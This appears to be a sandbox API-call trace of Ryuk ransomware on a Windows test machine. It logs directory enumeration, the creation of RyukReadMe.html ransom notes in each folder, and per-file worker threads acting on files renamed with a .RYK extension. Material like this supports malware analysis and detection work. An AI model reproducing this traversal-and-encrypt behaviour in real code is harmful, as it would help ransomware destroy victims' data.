	[0269.572] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0269.572] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0269.572] SetLastError (dwErrCode=0x0) 
	[0269.572] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0269.572] GetLastError () returned 0x0
	[0269.572] WriteFile (in: hFile=0x6d4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18daf8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18daf8*=0x273, lpOverlapped=0x0) returned 1
	[0269.574] CloseHandle (hObject=0x6d4) returned 1
	[0273.200] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0273.200] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0273.200] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0273.200] SetLastError (dwErrCode=0x0) 
	[0273.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0273.201] GetLastError () returned 0xb7
	[0273.201] CloseHandle (hObject=0x7a8) returned 1
	[0273.201] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b55bd00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b55bd00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0273.201] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b55bd00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b55bd00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0273.201] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x887e3410, ftCreationTime.dwHighDateTime=0x1d5bbb3, ftLastAccessTime.dwLowDateTime=0xe2d860a0, ftLastAccessTime.dwHighDateTime=0x1d5c529, ftLastWriteTime.dwLowDateTime=0x793bc640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x90a2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="-jDCM.csv.RYK", cAlternateFileName="-JDCMC~1.RYK")) returned 1
	[0273.201] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0274.211] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.259] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1113ab0, ftCreationTime.dwHighDateTime=0x1d5b9c9, ftLastAccessTime.dwLowDateTime=0x7466aa70, ftLastAccessTime.dwHighDateTime=0x1d5bdc5, ftLastWriteTime.dwLowDateTime=0x79408900, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="-lr0Ch.doc.RYK", cAlternateFileName="-LR0CH~1.RYK")) returned 1
	[0274.259] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.260] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c
	[0274.262] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.263] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x550d4040, ftCreationTime.dwHighDateTime=0x1d5bbee, ftLastAccessTime.dwLowDateTime=0xc2aa3740, ftLastAccessTime.dwHighDateTime=0x1d5bac0, ftLastWriteTime.dwLowDateTime=0x79cf5b80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd392, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="1o86XN.gif.RYK", cAlternateFileName="1O86XN~1.RYK")) returned 1
	[0274.263] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8
	[0274.265] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.265] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe885a0, ftCreationTime.dwHighDateTime=0x1d5c0d8, ftLastAccessTime.dwLowDateTime=0xc5b4ed30, ftLastAccessTime.dwHighDateTime=0x1d5bc97, ftLastWriteTime.dwLowDateTime=0xc5b4ed30, ftLastWriteTime.dwHighDateTime=0x1d5bc97, nFileSizeHigh=0x0, nFileSizeLow=0x131e4, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="2bzGyA5wVpzpZK3I0Z6-.wav", cAlternateFileName="2BZGYA~1.WAV")) returned 1
	[0274.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0274.267] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.268] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77901250, ftCreationTime.dwHighDateTime=0x1d5c486, ftLastAccessTime.dwLowDateTime=0x77772b90, ftLastAccessTime.dwHighDateTime=0x1d5c1f3, ftLastWriteTime.dwLowDateTime=0x79d1bce0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xe0f2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="4H2RiR0v1TTc.mp3.RYK", cAlternateFileName="4H2RIR~1.RYK")) returned 1
	[0274.268] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0274.269] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.270] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594aafd0, ftCreationTime.dwHighDateTime=0x1d5c265, ftLastAccessTime.dwLowDateTime=0xeaed6550, ftLastAccessTime.dwHighDateTime=0x1d5c3ae, ftLastWriteTime.dwLowDateTime=0x79d1bce0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xeda2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="4XLcXlYhAvHImy-.bmp.RYK", cAlternateFileName="4XLCXL~1.RYK")) returned 1
	[0274.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8
	[0274.272] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.273] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c01120, ftCreationTime.dwHighDateTime=0x1d5c1e3, ftLastAccessTime.dwLowDateTime=0xe794f4b0, ftLastAccessTime.dwHighDateTime=0x1d5b73b, ftLastWriteTime.dwLowDateTime=0x79d1bce0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x49f2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="5hDsOAAkJpxZ1n.m4a.RYK", cAlternateFileName="5HDSOA~1.RYK")) returned 1
	[0274.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc
	[0274.274] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.275] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccabcfa0, ftCreationTime.dwHighDateTime=0x1d5b9c7, ftLastAccessTime.dwLowDateTime=0xe4c8ae90, ftLastAccessTime.dwHighDateTime=0x1d5bbcb, ftLastWriteTime.dwLowDateTime=0x79d41e40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x173f2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="5z_ijfYGlkugL6.wav.RYK", cAlternateFileName="5Z_IJF~1.RYK")) returned 1
	[0274.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.275] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804
	[0274.276] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.277] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77ebf3b0, ftCreationTime.dwHighDateTime=0x1d5bb1f, ftLastAccessTime.dwLowDateTime=0xd1153960, ftLastAccessTime.dwHighDateTime=0x1d5b8b8, ftLastWriteTime.dwLowDateTime=0x79d41e40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x6df2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="6p47SKC0 jWuZ.mp3.RYK", cAlternateFileName="6P47SK~1.RYK")) returned 1
	[0274.277] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0274.279] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.279] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6a868a0, ftCreationTime.dwHighDateTime=0x1d5c0c8, ftLastAccessTime.dwLowDateTime=0x26fb9b50, ftLastAccessTime.dwHighDateTime=0x1d5c393, ftLastWriteTime.dwLowDateTime=0x79d41e40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x7bd2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="9iFq8y63.mkv.RYK", cAlternateFileName="9IFQ8Y~1.RYK")) returned 1
	[0274.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0274.281] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.282] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa30d60d0, ftCreationTime.dwHighDateTime=0x1d5c531, ftLastAccessTime.dwLowDateTime=0xcdd5a660, ftLastAccessTime.dwHighDateTime=0x1d5c1da, ftLastWriteTime.dwLowDateTime=0xcdd5a660, ftLastWriteTime.dwHighDateTime=0x1d5c1da, nFileSizeHigh=0x0, nFileSizeLow=0x12d73, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="9u 2RHDpu7bjqdHbaNzn.m4a", cAlternateFileName="9U2RHD~1.M4A")) returned 1
	[0274.282] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810
	[0274.284] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.285] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9bf60c0, ftCreationTime.dwHighDateTime=0x1d5c039, ftLastAccessTime.dwLowDateTime=0x3d6e07f0, ftLastAccessTime.dwHighDateTime=0x1d5b949, ftLastWriteTime.dwLowDateTime=0x79d67fa0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12e52, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="A2rJ_R-Shn.pdf.RYK", cAlternateFileName="A2RJ_R~1.RYK")) returned 1
	[0274.285] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x814
	[0274.286] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.287] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x79cf5b80, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="AdobeARM.log.RYK", cAlternateFileName="ADOBEA~1.RYK")) returned 1
	[0274.287] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x818
	[0274.288] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0274.290] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25e50480, ftCreationTime.dwHighDateTime=0x1d5bceb, ftLastAccessTime.dwLowDateTime=0x54333b30, ftLastAccessTime.dwHighDateTime=0x1d5c4c6, ftLastWriteTime.dwLowDateTime=0x79d67fa0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x13d52, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="aX8mAHttLRxPap-u.mp3", cAlternateFileName="AX8MAH~1.MP3")) returned 1
	[0274.290] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0274.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c
	[0275.374] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.374] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf682ed80, ftCreationTime.dwHighDateTime=0x1d5bb49, ftLastAccessTime.dwLowDateTime=0x4fb2aa00, ftLastAccessTime.dwHighDateTime=0x1d5b5fd, ftLastWriteTime.dwLowDateTime=0x79d8e100, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x183d2, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="b0qHL.odt.RYK", cAlternateFileName="B0QHLO~1.RYK")) returned 1
	[0275.374] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824
	[0275.376] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.377] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99a9ea0, ftCreationTime.dwHighDateTime=0x1d5b75c, ftLastAccessTime.dwLowDateTime=0x2f4279b0, ftLastAccessTime.dwHighDateTime=0x1d5c1fd, ftLastWriteTime.dwLowDateTime=0x79d8e100, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="c2o-.png.RYK", cAlternateFileName="C2O-PN~1.RYK")) returned 1
	[0275.377] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828
	[0275.378] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.379] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ea1050, ftCreationTime.dwHighDateTime=0x1d5c1c9, ftLastAccessTime.dwLowDateTime=0x65677190, ftLastAccessTime.dwHighDateTime=0x1d5b9cd, ftLastWriteTime.dwLowDateTime=0x79a482c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x2b92, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="cN7DcCnDgk9.gif.RYK", cAlternateFileName="CN7DCC~1.RYK")) returned 1
	[0275.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c
	[0275.380] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0275.381] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7a9e7320, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7a9e7320, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0275.381] SetLastError (dwErrCode=0x0) 
	[0275.381] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830
	[0275.381] GetLastError () returned 0xb7
	[0275.381] CloseHandle (hObject=0x830) returned 1
	[0275.381] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7a9e7320, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7a9e7320, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0275.382] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7a9e7320, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7a9e7320, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0275.382] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7a9c11c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x4122, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0275.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0275.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834
	[0275.384] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
